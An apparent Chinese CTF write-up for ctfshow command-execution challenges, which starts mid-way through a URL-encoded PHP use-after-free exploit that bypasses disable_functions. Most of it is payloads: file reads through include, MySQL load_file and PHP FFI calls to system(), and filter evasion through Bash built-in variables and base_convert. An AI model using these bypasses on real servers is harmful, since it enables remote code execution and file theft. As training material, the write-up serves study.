unction+get_binary_base(%24binary_leak)+%7b%0a++++++++%24base+%3d+0%3b%0a++++++++%24start+%3d+%24binary_leak+%26+0xfffffffffffff000%3b%0a++++++++for(%24i+%3d+0%3b+%24i+%3c+0x1000%3b+%24i%2b%2b)+%7b%0a++++++++++++%24addr+%3d+%24start+-+0x1000+*+%24i%3b%0a++++++++++++%24leak+%3d+leak(%24addr%2c+0%2c+7)%3b%0a++++++++++++if(%24leak+%3d%3d+0x10102464c457f)+%7b+%23+ELF+header%0a++++++++++++++++return+%24addr%3b%0a++++++++++++%7d%0a++++++++%7d%0a++++%7d%0a%0a++++function+get_system(%24basic_funcs)+%7b%0a++++++++%24addr+%3d+%24basic_funcs%3b%0a++++++++do+%7b%0a++++++++++++%24f_entry+%3d+leak(%24addr)%3b%0a++++++++++++%24f_name+%3d+leak(%24f_entry%2c+0%2c+6)%3b%0a%0a++++++++++++if(%24f_name+%3d%3d+0x6d6574737973)+%7b+%23+system%0a++++++++++++++++return+leak(%24addr+%2b+8)%3b%0a++++++++++++%7d%0a++++++++++++%24addr+%2b%3d+0x20%3b%0a++++++++%7d+while(%24f_entry+!%3d+0)%3b%0a++++++++return+false%3b%0a++++%7d%0a%0a++++function+trigger_uaf(%24arg)+%7b%0a++++++++%23+str_shuffle+prevents+opcache+string+interning%0a++++++++%24arg+%3d+str_shuffle(%27AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%27)%3b%0a++++++++%24vuln+%3d+new+Vuln()%3b%0a++++++++%24vuln-%3ea+%3d+%24arg%3b%0a++++%7d%0a%0a++++if(stristr(PHP_OS%2c+%27WIN%27))+%7b%0a++++++++die(%27This+PoC+is+for+*nix+systems+only.%27)%3b%0a++++%7d%0a%0a++++%24n_alloc+%3d+10%3b+%23+increase+this+value+if+UAF+fails%0a++++%24contiguous+%3d+%5b%5d%3b%0a++++for(%24i+%3d+0%3b+%24i+%3c+%24n_alloc%3b+%24i%2b%2b)%0a++++++++%24contiguous%5b%5d+%3d+str_shuffle(%27AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%27)%3b%0a%0a++++trigger_uaf(%27x%27)%3b%0a++++%24abc+%3d+%24backtrace%5b1%5d%5b%27args%27%5d%5b0%5d%3b%0a%0a++++%24helper+%3d+new+Helper%3b%0a++++%24helper-%3eb+%3d+function+(%24x)+%7b+%7d%3b%0a%0a++++if(strlen(%24abc)+%3d%3d+79+%7c%7c+strlen(%24abc)+%3d%3d+0)+%7b%0a++++++++die(%22UAF+failed%22)%3b%0a++++%7d%0a%0a++++%23+leaks%0a++++%24closure_handlers+%3d+str2ptr(%24abc%2c+0)%3b%0a++++%24php_heap+%3d+str2ptr(%24abc%2c+0x58)%3b%0a++++%24abc_addr+%3d+%24php_heap+-+0xc8%3b%0a%0a++++%23+fake+value%0a++++write(%24abc%2c+0x60%2c+2)%3b%0a++++write(%24abc%2c+0x70%2c+6)%3b%0a%0a++++%23+fake+reference%0a++++write(%24abc%2c+0x10%2c+%24abc_addr+%2b+0x60)%3b%0a++++write(%24abc%2c+0x18%2c+0xa)%3b%0a%0a++++%24closure_obj+%3d+str2ptr(%24abc%2c+0x20)%3b%0a%0a++++%24binary_leak+%3d+leak(%24closure_handlers%2c+8)%3b%0a++++if(!(%24base+%3d+get_binary_base(%24binary_leak)))+%7b%0a++++++++die(%22Couldn%27t+determine+binary+base+address%22)%3b%0a++++%7d%0a%0a++++if(!(%24elf+%3d+parse_elf(%24base)))+%7b%0a++++++++die(%22Couldn%27t+parse+ELF+header%22)%3b%0a++++%7d%0a%0a++++if(!(%24basic_funcs+%3d+get_basic_funcs(%24base%2c+%24elf)))+%7b%0a++++++++die(%22Couldn%27t+get+basic_functions+address%22)%3b%0a++++%7d%0a%0a++++if(!(%24zif_system+%3d+get_system(%24basic_funcs)))+%7b%0a++++++++die(%22Couldn%27t+get+zif_system+address%22)%3b%0a++++%7d%0a%0a++++%23+fake+closure+object%0a++++%24fake_obj_offset+%3d+0xd0%3b%0a++++for(%24i+%3d+0%3b+%24i+%3c+0x110%3b+%24i+%2b%3d+8)+%7b%0a++++++++write(%24abc%2c+%24fake_obj_offset+%2b+%24i%2c+leak(%24closure_obj%2c+%24i))%3b%0a++++%7d%0a%0a++++%23+pwn%0a++++write(%24abc%2c+0x20%2c+%24abc_addr+%2b+%24fake_obj_offset)%3b%0a++++write(%24abc%2c+0xd0+%2b+0x38%2c+1%2c+4)%3b+%23+internal+func+type%0a++++write(%24abc%2c+0xd0+%2b+0x68%2c+%24zif_system)%3b+%23+internal+func+handler%0a%0a++++(%24helper-%3eb)(%24cmd)%3b%0a++++exit()%3b%0a%7d

备注

UseAfterFree disable function

Web73

1
2
3
4
5
6
Warning: error_reporting() has been disabled for security reasons in /var/www/html/index.php on line 14

Warning: ini_set() has been disabled for security reasons in /var/www/html/index.php on line 15

Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 24
你要上天吗?

查看文件名,bp POST方式提交

1
2
3
4
5
6
7
8
9
10
11
12
13
c=?><?php
$a=new DirectoryIterator("glob:///*");
foreach($a as $f)
{echo($f->__toString().' ');
}
exit(0);
?>

//方法二,目录扫描
c=var_export(scandir('/'));exit();
//方法三,echo 输出指定数组索引的文件
c=echo(scandir("/")[6]);exit();
c=?><?php $a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');} exit(0);

发现flag在flagc.txt

看文件,这道题可以直接include

1
2
3
c=include('/flagc.txt');exit(0);
c=require("/flagc.txt");exit(0);
c=require_once("/flagc.txt");exit(0);

Web74

1
2
3
4
5
6
7

Warning: error_reporting() has been disabled for security reasons in /var/www/html/index.php on line 14

Warning: ini_set() has been disabled for security reasons in /var/www/html/index.php on line 15

Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 24
你要上天吗?

scandir()被ban了

换成DirectoryIterator

1
2
3
4
5
6
7
#查看路径
POST: c=$a = new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().'<br>');}die();

POST: c=var_export(scandir('/'));exit(); //发现根目录下有flagc.txt

#读文件
POST: c=include("/flagx.txt");exit();

Web75(mysql弱口令+load_file()读文件)

1
2
3
4
5
6
Warning: error_reporting() has been disabled for security reasons in /var/www/html/index.php on line 14

Warning: ini_set() has been disabled for security reasons in /var/www/html/index.php on line 15

Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 24
你要上天吗?

列目录

1
c=$a = new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().'<br>');}die();

下面的payloads都是建立在知道数据库名字的基础上才可以用的
我们可以通过通用的数据库来获取到数据库的名称
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
c=
$dsn = "mysql:host=localhost;dbname=information_schema";
$db = new PDO($dsn, 'root', 'root');
$rs = $db->query("select group_concat(SCHEMA_NAME) from SCHEMATA");
foreach($rs as $row){
echo($row[0])."|";
}exit();

或者

c=
$dbh = new PDO('mysql:host=127.0.0.1;dbname=mysql','root','root');
foreach ($dbh->query('show databases;') as $row){
var_export($row);
}
die();

读文件
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
c=
$dbh = new PDO('mysql:host=127.0.0.1;dbname=mysql','root','root');
foreach ($dbh->query('select load_file("/flag36.txt");') as $row){
var_export($row);
}
die();
#成功读取

#方法二
c=
try {
$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');

foreach ($dbh->query('select load_file("/flag36.txt")') as $row) {
echo ($row[0]) . "|";
}
$dbh = null;
} catch (PDOException $e) {
echo $e->getMessage();
exit(0);
}
exit(0);

#有个一团的版本
c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');foreach($dbh->query('select load_file("/flag36.txt")') as $row)
{echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e-
>getMessage();exit(0);}exit(0);
#火狐的hackbar会报错,但是谷歌的不会

数据库的连接是读配置文件得到的
SQL语句来读文件绕过open_basedir和disable_function

Web76

文件名改成了//flag36d.txt

Web77(php7.4 FFI)

照常报错三件套

提示是php 7.4
想到FFI

FFI(Foreign Function Interface),即外部函数接口,是指在一种语言里调用另一种语言代码的技术。PHP 的 FFI 扩展就是一个让你在 PHP 里调用 C 代码的技术

扫根目录看到readflag(readflag 下载下来发现是个 ELF 文件),肯定要用这个读flag了
payloads:

1
2
3
4
5
c=$ffi=FFI::cdef("int system(char *command);", "libc.so.6");$a='/readflag > 1.txt';$ffi->system($a);exit();  

c=$ffi = FFI::cdef("int system(const char *command);");//创建一个system对象
$a='/readflag > 1.txt';//没有回显的
$ffi->system($a);//通过$ffi去调用system函数

PHP FFI详解 - 一种全新的PHP扩展方式

Web118(内置变量绕过数字,小写字母)

flag in flag.php

看源码,显示<!-- system($code);-->

fuzz一下发现可以用大写字母A-Z${}~.?:

Linux 基础知识:Bash的内置变量

1
2
3
4
5
6
7
8
9
10
root@baba:~# echo ${PWD}
/root
root@baba:~# echo ${PWD:1:1} //表示从第2(1+1)个字符开始的一个字符
r
root@baba:~# echo ${PWD:0:1} //表示从第1(0+1)个字符开始的一个字符
/
root@baba:~# echo ${PWD:~0:1} //表示从最后一个字符开始的一个字符
t
root@baba:~# echo ${PWD:~A} //字母代表0
t

我们的payload一般是cat/nl等命令+flag.php,flag.php我们可以用通配符代替????.???。cat/nl等命令我们可以用Bash内置变量

环境变量PATH一般是/bin,题目路径PWD是/var/www/html,我们可以利用切片来获得所需要的字母

1
2
3
4
5
6
7
echo ${PWD} 
echo ${PWD:0:1}
echo ${PWD:0:3}
echo ${PWD:1:1}
echo ${PWD:2:3}

echo ${PWD:~0:1} //从末尾开始取一个

但是题目过滤了数字,无法使用切片。换一种方式获取字符。

linux可以利用~获得变量的最后几位(从最后开始获取),使用取反号时,任何字母等同于数字0

1
2
3
4
5
6
7
8
9
10
11
12
chimedal@localhost:/mnt/d/desktop$ echo ${PWD}
/mnt/d/desktop
chimedal@localhost:/mnt/d/desktop$ echo ${PWD:~0}
p
chimedal@localhost:/mnt/d/desktop$ echo ${PWD:~1}
op
chimedal@localhost:/mnt/d/desktop$ echo ${PWD:~2}
top
chimedal@localhost:/mnt/d/desktop$ echo ${PWD:~j}
p
chimedal@localhost:/mnt/d/desktop$ echo ${PWD:~J}
p

利用各个环境变量的最后一位来构造命令。${PWD}在这题肯定是/var/www/html,而${PATH}通常是bin,那么${PWD:~A}的结果就应该是’l’,因为${PATH:~A}的结果是’n’,那么他们拼接在一起正好是nl,能够读取flag,因为通配符没有被过滤,所以可以用通配符代替flag.php

所以,${PATH:~A}${PWD:~A}表示的就是PATH的最后一个字母和PWD的最后一个字母,组合起来就是nl

SHLVL是记录多个Bash进程实例嵌套深度的累加器,进程第一次打开shell时${SHLVL}=1,然后在此shell中再打开一个shell时${SHLVL}=2

是0,${SHLVL}为1
`$来替代数字,截取想要的字符串

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#一
${PATH:${#HOME}:${#SHLVL}}${PATH:${#RANDOM}:${#SHLVL}} ?${PATH:${#RANDOM}:${#SHLVL}}??.???

#二
${PATH:~A}${PWD:~A} ????.???

#三
${PATH:~A}${PATH:${#TERM}:${SHLVL:~A}} ????.???

#四
${PATH:~A}${PWD:~A:${##}} ????.???

# 五
${PATH:~A}${PWD:~A}$IFS????.???

#${RANDOM}是随机数,${#RANDOM}一般是5,也可能是4
${PATH:${#HOME}:${#SHLVL}}${PATH:${#RANDOM}:${#SHLVL}} ?${
PATH:${#RANDOM}:${#SHLVL}}??.???

Web119(无PATH)

比上题多过滤了PATH

扩展一下Bash内置变量构造字符:

1
2
3
4
5
6
7
8
${RANDOM} :随机的几个数

${PWD} :/var/www/html

${USER} :www-data

${HOME} :当前用户的主目录


IFS
空格符、tab字符、换行字符(newline) 长度为3。{\#IFS}=3

方法一

可以构造出/bin/base64 flag.php,只需要/4两个字符就行,其他的可以用通配符代替

/很简单,pwd的第一位就是,因为这题ban了数字,所以可以用该题值必是1的${\#SHLVL}绕过

SHLVL
是记录多个Bash进程实例嵌套深度的累加器,进程第一次打开shell时${SHLVL}=1,然后在此shell中再打开一个shell时$SHLVL=2

只需要${PWD::${SHLVL}},结果就是/

RANDOM
此变量值,随机出现整数,范围为0-32767。不过,虽然说是随机,但并不是真正的随机,因为每次得到的随机数都一样。为此,在使用RANDOM变量前,请随意设定一个数字给RANDOM,当做随机数种子,这样才不会每次产生的随机数其顺序都一样

4的问题,可以用${\#RANDOM},在Linux中,${\#xxx}显示的是这个值的位数不加#是变量的值,加了#是变量的值的长度,例如12345的值是5,而random函数绝大部分产生的数字都是4位或者5位的,因此可以代替4

payload:

1
2
3
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???
就是/???/?????4 ????.???
就是/bin/base64 flag.php

方法二

可以构造/bin/cat flag.php,需要t和/,${HOME}默认是/root,所以需要得到他的最后一个字母,容器的hostname应该是5个字母,所以${\#HOSTNAME}可以从第5位开始,1还是用${\#SHLVL}代替

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
${HOME:${#HOSTNAME}:${#SHLVL}}     ====>   t
${PWD:${Z}:${#SHLVL}} ====> /
/bin/cat flag.php
${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}??${HOME:${#HOSTNAME}:${#SHLVL}} ????.???

${PWD::${#SHLVL}}???${PWD::${#SHLVL}}??${HOME:${#HOSTNAME}:${#SHLVL}} ????.???
就是/???/??t ????.???
就是/bin/cat flag.php

${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.???
就是/???/?a? ????.???
就是/bin/cat flag.php

${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}??${HOME:${#HOSTNAME}:${#SHLVL}} ????.???
就是/???/??t ????.???
就是/bin/cat flag.php

Web120

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
$code=$_POST['code'];
if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|PATH|BASH|HOME|\/|\(|\)|\[|\]|\\\\|\+|\-|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){
if(strlen($code)>65){
echo '<div align="center">'.'you are so long , I dont like '.'</div>';
}
else{
echo '<div align="center">'.system($code).'</div>';
}
}
else{
echo '<div align="center">evil input</div>';
}
}

?>

payloads:

1
2
3
4
#上一题的payload
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.???
就是/???/?a? ????.???
就是/bin/cat flag.php

Web121

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
$code=$_POST['code'];
if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|HOME|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){
if(strlen($code)>65){
echo '<div align="center">'.'you are so long , I dont like '.'</div>';
}
else{
echo '<div align="center">'.system($code).'</div>';
}
}
else{
echo '<div align="center">evil input</div>';
}
}

?>

$#
$?
这两个的值都为0
加上#代表长度就为1

1
2
这题最关键的SHLVL被过滤了,可以用${##}或${#?}代替
过滤${#SHLVL}可以用${##}、${#?}

payloads:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
code=${PWD::${##}}???${PWD::${##}}?????${#RANDOM} ????.???
code=${PWD::${#?}}???${PWD::${#?}}?????${#RANDOM} ????.???

#hint中的payload
code=${PWD::${#?}}???${PWD::${#?}}${PWD:${#IFS}:${#?}}?? ????.???
#使用的是/bin/rev读文件 把文件中每行逆序输出读取
#用到了IFS(定义字段分隔字符。默认值为:空格符、tab字符、换行字符(newline) 长度为3)
PWD为 /var/www/html
刚好第三个是r
可以匹配到/bin/rev

#其他wp
${PWD::${##}}???${PWD::${##}}??${PWD:${##}:${##}} ????.???
就是/???/??v ????.???
就是/bin/rev flag.php

${PWD::${##}}???${PWD::${##}}?????${#RANDOM} ????.???
就是/???/?????4 ????.???
就是/bin/base64 flag.php

构造/???/??v:
code=${PWD::${#?}}???${PWD::${#?}}??${PWD:${#?}:${#?}} ????.???
构造/???/r??:
code=${PWD::${##}}???${PWD::${##}}${PWD:${#IFS}:${##}}?? ????.???

反转小脚本

1
2
3
4
5
6
str1="}96f463e39fb9-a71a-daa4-ebce-dbfd8617{wohsftc"
str2=list(str1)
str2.reverse()
flag="".join(str2)
print(flag)
#ctfshow{7168dfbd-ecbe-4aad-a17a-9bf93e364f69}

Web122

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
$code=$_POST['code'];
if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|PWD|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|#|%|\>|\'|\"|\`|\||\,/', $code)){
if(strlen($code)>65){
echo '<div align="center">'.'you are so long , I dont like '.'</div>';
}
else{
echo '<div align="center">'.system($code).'</div>';
}
}
else{
echo '<div align="center">evil input</div>';
}
}

?>

这题在上题的基础上又过滤了#和PWD,PWD的绕过很简单,用HOME就可以,而#,就要用到$?$? 执行上一个指令的返回值 (显示最后命令的退出状态。0表示没有错误,其他任何值表明有错误)

所以在使用$?之前要先给错误的命令 让$?的值为1
${}<A可以但是题目上${}这个不可以
所以用<A后边的数字4还是用RANDOM随机数来获取

payload:

1
2
3
4
5
6
code=<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???
#通过$?来实现的,$?是表示上一条命令执行结束后的传回值。通常0代表执行成功,非0代表执行有误
#可能存在成功的机会,不断刷新
code=<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???

code=<A;${HOME:${Z}:$?}???${HOME:${Z}:$?}?????${RANDOM::$?} ????.???

Web124

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
 <?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}

这道题给我们留了很多的数学函数,我们发现其中基本全是php中可用使用的函数。而且很多是可用进行进制转换的。
我们来看下具体的函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
base_convert(number,frombase,tobase);
参数 描述
number 必需。规定要转换的数。
frombase 必需。规定数字原来的进制。介于 2 和 36 之间(包括 2 和 36)。高于十进制的数字用字母 a-z 表示,例如 a 表示 10,b 表示 11 以及 z 表示 35。
tobase 必需。规定要转换的进制。介于 2 和 36 之间(包括 2 和 36)。高于十进制的数字用字母 a-z 表示,例如 a 表示 10,b 表示 11 以及 z 表示 35。

bindec — 二进制转换为十进制
bindec ( string $binary_string ) : number

decbin — 十进制转换为二进制
decbin ( int $number ) : string

dechex — 十进制转换为十六进制
dechex ( int $number ) : string

decoct — 十进制转换为八进制
decoct ( int $number ) : string

hexdec — 十六进制转换为十进制
hexdec ( int $number ) : string

在这个题中,我们不能使用除题目白名单中给出的函数以外的任何字符。那我们的目的就是构造出字母或者构造出函数。
假设我们要构造出如下表达式
c=$_GET[a]($_GET[b])&a=system&b=cat flag
我们需要构造的是其实只有_GET$我们可用使用,中括号可用花括号代替,小括号也是可以使用的。这时候我们想到了一个办法,如果可以构造出hex2bin函数就可以将16进制转换成字符串了。我们又可以用decoct将10进制转换成16进制。也就是可以将10进制转换成字符串。
那么问题来了,hex2bin怎么构造呢,这时候就需要用到base_convert了。
我们发现36进制中包含了所有的数字和字母,所有只需要将hex2bin按照36进制转换成10进制就可以了

1
2
3
4
5
6
7
8
9
10
11
12
echo base_convert('hex2bin', 36, 10);
结果 37907361743

echo hexdec(bin2hex("_GET"));
结果 1598506324

#现在我们要做的就是反过来了
base_convert('37907361743',10,36); hex2bin

base_convert('37907361743',10,36)(dechex('1598506324')); _GET

c=$pi=_GET;$$pi{abs}($$pi{acos})&abs=system&acos=tac f*

我们再把_GET进行替换
payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{acos})&abs=system&acos=tac f*

?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{pi}($$pi{abs})&pi=system&abs=cat flag.php

?c=($pi=base_convert)(22950,23,34)($pi(76478043844,9,34)(dechex(109270211257898)))

?c=base_convert(1751504350,10,36)(base_convert(15941,10,36).(dechex(16)^asinh^pi))

?c=$pi=(is_nan^(6).(4)).(tan^(1).(5));$pi=$$pi;$pi{0}($pi{1})&0=system&1=cat%20flag.php

$pi=base_convert,$pi(696468,10,36)($pi(8768397090111664438,10,30)(){1})
//要在请求头里面加一个 1:tac flag.php 见下图

c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{acos});&abs=system&acos=cat flag.php

一些无参RCE函数的集合

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
localeconv():返回一包含本地数字及货币格式信息的数组。其中数组中的第一个为点号(.)
scandir():获取目录下的文件,scandir(.):获取当前目录下所有文件
pos():返回数组中的当前元素的值。
array_reverse():数组逆序
next(): 函数将内部指针指向数组中的下一个元素,并输出。
highlight_file():函数进行文件内容的读取,并输出
current(): 函数返回数组中的当前元素(单元),默认取第一个值,
pos(): 同 current() ,是current()的别名
reset(): 函数返回数组第一个单元的值,如果数组为空则返回 FALSE
current(): 返回数组中的当前元素的值。
end(): 将内部指针指向数组中的最后一个元素,并输出。
next(): 将内部指针指向数组中的下一个元素,并输出。
prev(): 将内部指针指向数组中的上一个元素,并输出。
reset(): 将内部指针指向数组中的第一个元素,并输出。
each(): 返回当前元素的键名和键值,并将内部指针向前移动。
getcwd()
get_defined_vars(): 返回一个包含所有已定义变量的多维数组。这些变量包括环境变量、服务器变量和用户定义的变量,例如GET、POST、FILE等等。
array_pop(): 函数删除数组中的最后一个元素并返回其值。
array_rand(): 返回包含随机键名的数组,这里值得注意的是返回键名,所以才要用到下面的函数。
array_flip(): 交换数组中的键和值。
getallheaders(): 用于获取所有已发送的 HTTP 请求头信息。这个函数返回一个关联数组,其中包含所有的 HTTP 请求头字段作为键,每个字段的值作为数组值。
/*
当然不可能只有这几个函数恰好能够满足条件。
比如说其中的 pos 函数可以被 current、reset 函数替换。
show_resource 函数可以使用 high_light 函数来替换。
pos(localeconv())的组合函数也可以被 getcwd 函数替换掉。(getcwd 函数会返回当前所在文件夹)。
*/

一些php打印函数

1
2
3
4
5
6
7
8
9
10
11
print_r()
var_dump()

#下面两个传入的是数组
json_encode()
$c=echo json_encode(scandir('/'));
implode()
$c=echo implode(' ',scandir('/'));
#可以发现在这个函数中,左边的参数是我们数组数据在转化为字符串后中间的间隔符。
var_export()
$c= var_export(scandir('/'));

参考链接

CTFSHOW-命令执行 - Boogiepop Doesn’t Laugh
Mash1r0师傅的博客
ctfshow-web入门-命令执行(web71-web74)_we
命令执行篇
Y4tacker师傅的wp
X1r0z Blog
ctfshow学习记录-web入门(命令执行119-122&124)
Ctfshow web入门 命令执行RCE篇 web29-web77 与 web118-web124 详细题解 全